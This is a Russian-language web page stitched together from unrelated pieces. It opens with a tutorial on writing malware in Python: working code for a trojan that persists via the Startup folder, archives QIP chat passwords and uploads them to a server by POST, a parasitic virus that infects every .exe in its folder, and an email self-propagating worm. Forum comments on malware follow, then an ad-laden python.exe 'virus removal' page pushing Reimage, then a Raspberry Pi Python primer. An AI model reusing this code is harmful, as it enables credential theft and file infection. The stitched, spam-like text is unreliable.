Как написать вирус на питоне
Выбор языка для троян-кодинга — тема для вечных холиваров. Хардкорщики кричат, что лишь на Asm’е пишется что-то нормальное. Группа полу-хардкорщиков молится на Си. Поклонники практически покойного Delphi тоже не отстают.
Теперь для теста в папке D:\test\ создай питоновский скрипт test.py:
print "OK"
open("ok.txt", "w").write('ok')
D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py
D:\pyinstaller> Build.py d:\pyinstaller\test\test.spec
Несколько секунд ожидания… готово! Результат работы покоится в папке d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4 Мб, и, если его запустить, то может показаться, что ничего не сработало — окна нет. Однако ok.txt создается, а значит, все отлично работает.
Картинка to string
Для начала обеспечим нашей программе некий минимум правдоподобности. Обеспечить ее для блондинки довольно просто — покажем ей красивую картинку, тут-то она и растает :). Поскольку все хозяйство у нас должно покоиться в одном py-файле, то картинку нужно будет сжать, а потом закинуть в base64 (превратив в строку). Теперь — немножко питоновской магии с объектом gzip.GzipFile, которому при создании мы указываем, куда сохранять уже сжатые данные, и получаем код, который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и полученную строку-изображение сохраняет в rez_img.txt:
import StringIO, gzip, base64
zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)
zfile.write(open(‘my.jpg’,'rb’).read())
zfile.close()
open('rez_img.txt', 'w').write(
base64.encodestring(zbuf.getvalue())
)
Теперь, имея в своем распоряжении строку-картинку, мы можем приступить собственно к кодингу. В начале файла troj. py в переменную img мы поместим нашу картинку с rez_img. txt. Логика этого кода будет выглядеть примерно так (подробности — в сорце на диске):
img = '''
H4sIAMW28E.
'''
import sys
#если мы запущены первый раз
if (sys.argv[0].find(‘Startup’)==-1):
#создать картинку из img и показать ее
#узнать папку с автозагрузкой
#скопировать себя в автозагрузку
#создать архив qip и отослать на сервер
else:
#достать команду на сервере и исполнить ее
string to картинка to блондинко
Распаковка файла практически аналогична запаковке. Код этого нелегкого процесса ты всегда можешь посмотреть в исходнике на диске, а я лишь уточню, что название файла-картинки мы берем из исполнимого файла для уменьшения палевности:
file_src = sys.argv[0]
img_name= file_src.split('\\')[-1].\
split('.')[0]
img_name += '.jpg'
Самый простой способ автозапуска нашей проги — скопировать в папку автозагрузки:
import shutil
shutil.copy(sys.argv[0], r'C:\ProgramData\
Microsoft\Windows\Start Menu\Programs\
Startup\driver_video.exe')
Как видишь, наш учебный троян заточен под английскую версию Windows 7, поэтому для работы с другими версиями константы путей нужно будет либо поменять, либо динамически вытаскивать их из стандартных переменных винды:
Теперь, когда мы отвлекли внимание юзера ушастого и закрепились в автозагрузке, можно начать исполнение нашей основной задачи, отправив на сервер архив папки с историей и паролями qip’a — C:\Program Files\QIP\Users\.
Создадим в папке Temp архив, заюзав библиотеку zipfile. Для этого создадим объект zipfile.ZipFile и рекурсивно пройдемся по папке qip, добавляя в архив все файлы:
import zipfile
def addToZip(zf, path, zippath):
if os.path.isfile(path):
zf.write(path, zippath, zipfile.ZIP_DEFLATED)
elif os.path.isdir(path):
for nm in os.listdir(path):
addToZip(zf,
os.path.join(path, nm),
os.path.join(zippath, nm)
)
zip_file = r'C:\Windows\Temp\system_files.zip'
zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
src = r'C:\Program Files\QIP\Users\\'
addToZip(zf, src, os.path.basename(src))
zf.close()
Отослать полученный файл можно, например, через ftp, или послать post-запросом. Второй вариант мы и реализуем, воспользовавшись библиотекой urllib2:
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h = multipart_encode(<"f": open(zip_file,"rb")>)
request = urllib2.Request("http://s/f.php", d, h)
urllib2.urlopen(request)
Вот и все! Наш учебный троян готов. Разумеется, ни в коем случае мы не советуем тебе использовать его в противозаконных целях, но на своем домашнем компьютере ты вполне можешь его потестить — он с удовольствием покажет тебе интересную картинку, заархивирует папку с qip’ом и отправит ее на сохранение твоему лучшему другу. Отличное решение, ведь если твой компьютер поразит злой вирус — ты всегда сможешь восстановиться из хранящегося у друга бэкапа!
Ошибка в тексте? Выделите и нажмите Ctrl+Enter!
Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…
Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.
Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.
В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.
import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:
os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');
Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.
После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:
а перед этим выполняется команда
Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').
Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.
Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.
Главное для нас — продемонстрировать принцип работы.
Сетевой червь
Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.
Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.
Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:
import smtplib
from email.mime.text import MIMEText
msg = MIMEText('Message text')
# me == email отправителя
# you == email получателя
msg['Subject'] = 'Test message'
msg['From'] = me
msg['To'] = you
s = smtplib.SMTP('')
s.sendmail(me, [you], msg.as_string())
s.quit()
Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода.
Будет это выглядеть примерно так:
import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer['Subject'] = ‘Test message’
outer['From'] = me
outer['To'] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header('Content-Disposition',
'attachment', filename=file_name)
outer.attach(msg)
s = smtplib.SMTP('')
s.sendmail(me, [you], outer.as_string())
s.quit()
В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.
Теперь, когда вирус может сам себя отправлять в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.
Несколько замечаний
В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().
Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.
Заключение
Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).
Можно. Но преимущественно, в учебных целях.
1) Логичнее писать трояны для программного обеспечения на Python или использующего Python как скриптовой язык для расширений и плагинов.
2) Написание червей теоретически возможно:
- либо червь должен таскать с собой стандартный интерпретатор,
- либо исходники должны быть приведены к эквивалентному коду на C/C++ и скомпилированы (см. python-компилятор Nuitka или язык программирования Cython).
Вирус в природе это кусочек генетического кода в специальной оболочке. Эта оболочка автоматически впрыскивает генетический код в живую клетку, где этот код встраивается в ДНК клетки,
и рибосомы клетки "исполняют" этот код.
В компьютерной среде, вирус - это кусочек нативного исполняемого кода (полезная нагрузка), + другой кусочек нативного исполняемого кода (загрузчик), который умеет записывать нативный код (в данном случае себя) прямо в exe файл не нарушая его структуру.
После этого, при запуске заражённой программы процессор выполняет инструкции, которые в нём присутствуют и в том числе и инструкции вируса
Червь - ползает по сети, посылает специальный набор данных в открытые порты в надежде на то, что где-то этот набор данных приведёт к переполнению, и можно будет выполнить кусочек собственного кода.
Троян - притворяется не тем кем является. Обычно трояном является полезная нагрузка вируса/червя, которая запускается отдельно и маскируется под системную программу.
После этого, скрипты, которые используют наивность админов, у которых пароль в админке 123456, и которые просто пишут текст в текстовые файлы (всякие ваши php-вирусы) это просто детский сад.
Иван Корюков, о терминах спорить не буду, так как не ИБ-шник.
Тем не менее, две ремарки по последнему абзацу:
Во-первых. В Python через расширения на C/C++ можно прокинуть вызов любого низкоуровневого кода.
Во-вторых. Исходный код на Python можно разными способами сконвертировать в код на C/C++ и скомпилировать в обычный исполняемый файл. Правда не любой исходный код, не без возможных проблем и конечный вес файла может составить несколько мегабайт.
Python для образовательных целей и прототипирования -- достаточно универсальный инструмент, особенно со знанием сей или плюсов.
Руслан Гильфанов, можно-то можно, но при работе на настолько низком уровне, каждый байт на счету. Загрузчик вируса может найти в исполняемом файле не очень большие свободные места, и поэтому он должен уметь разбить свой код на несколько частей, вставить их в разные места и дописать переходы от одной части к другой.
Вы можете написать на питоне скрипт, который прочитает исполняемый файл, найдёт там свободные места и. что он туда запишет? Текст собственного скрипта? Весь интерпретатор питона?
Вирусы обычно не пишут на даже плюсах, т.к. из-за его высокоуровневости не хватает контроля над конечным кодом. При написании вируса вы должны точно знать в какие инструкции скомпилируется ваш код. Поэтому проще всего сразу писать эти инструкции.
Даже если вы как-то решите эти проблемы, то смысла от того что вы пишете на питоне будет не много. Вам всё-равно надо знать ассемблер для внедрения, и раз вы решили вышеописанные проблемы - то вы знаете его лучше чем родной язык)
Но опять же - всё упирается в терминологию. Вы можете написать скрипт, который дописывает код в другие скрипты, и по принципу действия это даже вирус. Насколько сложна эта программа? Программа, которая пишет текст в текстовый файл. И как тогда смотреть в глаза человеку, который говорит "я пишу вирусы на питоне" ?))
Иван Корюков, давайте немного отойдём от классических вирусов и червей.
Исключительно в образовательных целях, на Python можно написать честный криптовымогатель с ассимитричным шифрованием, клиент-серверной архитектурой и сервером управляющим public/private ключами с onion-сервиса (Tor Hidden Service).
Образовательный смысл высокоуровневой и тяжеловесной реализации на готовых библиотеках -- наглядная демонстрация целого класса зловредов, без погружения в низкоуровневые детали реализации.
Понятно, что для боевого применения, реализация малопригодна. Но, для обучения основам информационной безопасности, высокоуровневые реализации криптовымогателей, кейлоггеров, ботнетов и пр. -- должны иметь право на существования.
К тому же, прототипирование на Python и последующая реализация на Си или плюсах -- довольно распространённая практика, что может использоваться и в образовательных целях.
Иван Корюков, в менеджерах установки пакетов, магазинах мобильных приложений, публичных репозиториях систем контроля версий и даже в собственных разработках IT-компаний порой обнаруживают подобные бомбы без взрывчатки -- и они взрываются.
Мне кажется из всего множества способов внедрения вредоносного ПО к конечному пользователю, не стоит зацикливаться на тех, что используют низкоуровневые особенности работы ОЗУ и ЦПУ.
Думаю статистически, социальная инженерия в том или ином виде -- наиболее популярный и успешный способ проникновения в пользовательские системы. И было бы странно, если бы специалисты по ИБ это полностью игнорировали.
Из полного текста вопроса видно, что автор явно объединяет черви и трояны в общее понятие "вирусы". То есть, вопрос логичнее читать как "Можно ли писать вредоносные программы на Python и какие именно?".
И тут Ваш предыдущий комментарий можно считать почти исчерпывающим ответом, если считать вирусами только те вредоносные программы, что для вирусного распространения используют низкоуровневые особенности ОЗУ, ПЗУ и ЦПУ.
Иван Корюков, "Дело в том что вирус это код, который умеет записать себя в почти программу, которую найдет на диске."
Вообще нет.
Особенность вируса - в размножении. А каким образом он это делает - влезает в бутсектор, в экзешник, используя уязвимость проникает через сеть прямо в память и оттуда уже записывает себя в виде отдельного исполняемого файла/библиотеки, или банально добавляет автозапуск в реестре или ярлык в папку автозапуска - дело вторичное. Даже умение добавить себя как плагин, чтобы автоматически запускаться с каким-то софтом - это уже тоже вирус.
Что такое python.exe?
python.exe это исполняемый файл, который является частью Python 2.7.3 Программа, разработанная Python Software Foundation, Программное обеспечение обычно о 15.13 MB по размеру.
Расширение .exe имени файла отображает исполняемый файл. В некоторых случаях исполняемые файлы могут повредить ваш компьютер. Пожалуйста, прочитайте следующее, чтобы решить для себя, является ли python.exe Файл на вашем компьютере - это вирус или троянский конь, который вы должны удалить, или это действительный файл операционной системы Windows или надежное приложение.
Python.exe безопасен, или это вирус или вредоносная программа?
Первое, что поможет вам определить, является ли тот или иной файл законным процессом Windows или вирусом, это местоположение самого исполняемого файла. Например, такой процесс, как python.exe, должен запускаться из C: \ python27 \ python.exe, а не где-либо еще.
Самые важные факты о python.exe:
Если у вас возникли какие-либо трудности с этим исполняемым файлом, вы должны определить, заслуживает ли он доверия, перед удалением python.exe. Для этого найдите этот процесс в диспетчере задач.
Найдите его местоположение (оно должно быть в C: \ python27) и сравните его размер с приведенными выше фактами.
Если вы подозреваете, что можете быть заражены вирусом, вы должны немедленно попытаться это исправить. Чтобы удалить вирус python.exe, необходимо Загрузите и установите приложение полной безопасности, например Malwarebytes., Обратите внимание, что не все инструменты могут обнаружить все типы вредоносных программ, поэтому вам может потребоваться попробовать несколько вариантов, прежде чем вы добьетесь успеха.
Кроме того, функциональность вируса может сама влиять на удаление python.exe. В этом случае вы должны включить Безопасный режим с поддержкой сети - безопасная среда, которая отключает большинство процессов и загружает только самые необходимые службы и драйверы. Когда вы можете запустить программу безопасности и полный анализ системы.
Могу ли я удалить или удалить python.exe?
Не следует удалять безопасный исполняемый файл без уважительной причины, так как это может повлиять на производительность любых связанных программ, использующих этот файл. Не забывайте регулярно обновлять программное обеспечение и программы, чтобы избежать будущих проблем, вызванных поврежденными файлами. Что касается проблем с функциональностью программного обеспечения, проверяйте обновления драйверов и программного обеспечения чаще, чтобы избежать или вообще не возникало таких проблем.
Согласно различным источникам онлайн, 5% людей удаляют этот файл, поэтому он может быть безвредным, но рекомендуется проверить надежность этого исполняемого файла самостоятельно, чтобы определить, является ли он безопасным или вирусом. Лучшая диагностика для этих подозрительных файлов - полный системный анализ с Reimage, Если файл классифицируется как вредоносный, эти приложения также удаляют python.exe и избавляются от связанных вредоносных программ.
- 1. в Меню Пуск (для Windows 8 щелкните правой кнопкой мыши в нижнем левом углу экрана), нажмите панель, а затем под программы:
o Windows Vista / 7 / 8.1 / 10: нажмите Удаление программы.
o Windows XP: нажмите Добавить или удалить программы.
- 2. Когда вы найдете программу Python 2.7.3щелкните по нему, а затем:
o Windows Vista / 7 / 8.1 / 10: нажмите Удалить.
o Windows XP: нажмите Удалить or Изменить / Удалить вкладка (справа от программы).
- 3. Следуйте инструкциям по удалению Python 2.7.3.
Распространенные сообщения об ошибках в python.exe
Наиболее распространенные ошибки python.exe, которые могут возникнуть:
Эти сообщения об ошибках .exe могут появляться во время установки программы, во время выполнения связанной с ней программы Python 2.7.3, при запуске или завершении работы Windows, или даже при установке операционной системы Windows. Отслеживание момента появления ошибки python.exe является важной информацией при устранении неполадок.
Как исправить python.exe
Аккуратный и опрятный компьютер - это один из лучших способов избежать проблем с Python 2.7.3. Это означает выполнение сканирования на наличие вредоносных программ, очистку жесткого диска cleanmgr и ПФС / SCANNOWудаление ненужных программ, мониторинг любых автозапускаемых программ (с помощью msconfig) и включение автоматических обновлений Windows. Не забывайте всегда делать регулярные резервные копии или хотя бы определять точки восстановления.
Если у вас возникла более серьезная проблема, постарайтесь запомнить последнее, что вы сделали, или последнее, что вы установили перед проблемой. Использовать resmon Команда для определения процессов, вызывающих вашу проблему. Даже в случае серьезных проблем вместо переустановки Windows вы должны попытаться восстановить вашу установку или, в случае Windows 8, выполнив команду DISM.exe / Online / Очистка-изображение / Восстановить здоровье, Это позволяет восстановить операционную систему без потери данных.
Чтобы помочь вам проанализировать процесс python.exe на вашем компьютере, вам могут пригодиться следующие программы: Менеджер задач безопасности отображает все запущенные задачи Windows, включая встроенные скрытые процессы, такие как мониторинг клавиатуры и браузера или записи автозапуска. Единый рейтинг риска безопасности указывает на вероятность того, что это шпионское ПО, вредоносное ПО или потенциальный троянский конь. Это антивирус обнаруживает и удаляет со своего жесткого диска шпионское и рекламное ПО, трояны, кейлоггеры, вредоносное ПО и трекеры.
Обновлено апреля 2020 года:
Мы рекомендуем вам попробовать этот новый инструмент. Он исправляет множество компьютерных ошибок, а также защищает от таких вещей, как потеря файлов, вредоносное ПО, сбои оборудования и оптимизирует ваш компьютер для максимальной производительности. Это исправило наш компьютер быстрее, чем делать это вручную:
(опциональное предложение для Reimage - Cайт | Лицензионное соглашение | Политика Kонфиденциальности | Удалить)
Загрузите или переустановите python.exe
это не рекомендуется загружать заменяемые exe-файлы с любых сайтов загрузки, так как они могут содержать вирусы и т. д. Если вам нужно скачать или переустановить python.exe, мы рекомендуем переустановить основное приложение, связанное с ним. Python 2.7.3.
Информация об операционной системе
Ошибки python.exe могут появляться в любых из нижеперечисленных операционных систем Microsoft Windows:
- Окна 10
- Окна 8.1
- Окна 7
- Windows Vista
- Windows XP
- Windows ME
- Окна 2000
В этом материале мы кратко расскажем о том, что такое программирование на Python, для чего можно использовать программы Python, как написать и запустить простую программу Python на Raspberry Pi.
Что такое программа на Python?
Python является очень полезным языком программирования, который имеет легкий для чтения синтаксис и позволяет программистам использовать меньше строк кода, чем это было возможно в таких языках, как ассемблер, C или Java.
Язык программирования Python фактически начинался как язык сценариев для Linux. Программы Python похожи на сценарии оболочки в том смысле, что файлы содержат серию команд, которые компьютер выполняет сверху вниз.
В отличие от программ на C, программы на Python не требуют компиляции перед их запуском. Однако для их запуска вам потребуется установить интерпретатор Python на свой компьютер. Интерпретатор Python - это программа, которая читает файлы Python и выполняет код.
Тем не менее, можно запускать программы на Python без установленного интерпретатора этого языка. Такие программы, как Py2exe или Pyinstaller, упаковывают ваш код Python в автономные исполняемые программы.
Возможности программ на Python
Как и сценарии оболочки, Python может автоматизировать такие задачи, как пакетное переименование и перемещение большого количества файлов. Он может использоваться как командная строка с IDLE, функцией Python REPL (read, eval, print, loop). Однако есть и другие полезные вещи, которые вы можете сделать с помощью Python. Например, вы можете использовать Python для программирования таких вещей, как:
- Веб-приложения
- Настольные приложения и утилиты
- Специальные графические интерфейсы
- Небольшие базы данных
- 2D игры
Python также имеет большую коллекцию библиотек, что ускоряет процесс разработки. Есть библиотеки для всего, о чем вы только можете подумать - программирования игр, рендеринга графики, графических интерфейсов, веб-фреймворков и научных вычислений.
Многие (но не все) вещи, которые вы можете сделать в C, могут быть выполнены в Python. Python обычно медленнее в вычислениях, чем C, но его простота использования делает Python идеальным языком для прототипирования программ и разработки приложений, которые не требуют больших вычислительных ресурсов.
Как писать и запускать программы на Python?
Здесь мы рассмотрим только основы написания и выполнения программы на Python, но отличный учебник, охватывающий все, что программист должен знать о Python, - это книга "Learning Python 5th Ed." (О'Райли) Марк Лутц.
Python 2 и Python 3 поставляются предварительно установленными в операционных системах Raspbian, но чтобы установить Python в другой ОС Linux или обновить его, просто выполните одну из следующих команд в командной строке:
sudo apt-get install python3
Устанавливает или обновляет Python 3.
sudo apt-get install python
Устанавливает или обновляет Python 2.
Чтобы получить доступ к Python REPL (где вы можете вводить команды Python точно так же, как в командной строке), введите python или python3 в зависимости от того, какую версию вы хотите использовать:
Введите Ctrl-D, чтобы выйти из REPL.
sudo nano hello-world.py
Введите этот код в Nano, затем нажмите Ctrl-X и Y, чтобы выйти и сохранить файл:
Чтобы запустить программу, не делая ее исполняемой, перейдите в папку, в которой вы сохранили файл, и введите в командной строке:
Создание исполняемого файла программы Python позволяет запускать программу, не вводя python перед именем файла. Вы можете сделать файл исполняемым, введя это в командной строке:
chmod +x file-name.py
Теперь, чтобы запустить программу, вам нужно всего лишь ввести:
Вот некоторые дополнительные ресурсы, которые помогут вам максимально использовать программирование на Python:
Надеюсь, вы нашли этот материал полезным. Если у вас есть какие-либо вопросы, не стесняйтесь оставлять сообщения в нашей группе ВКонтакте и делиться ею со своими близкими и друзьями.
Читайте также: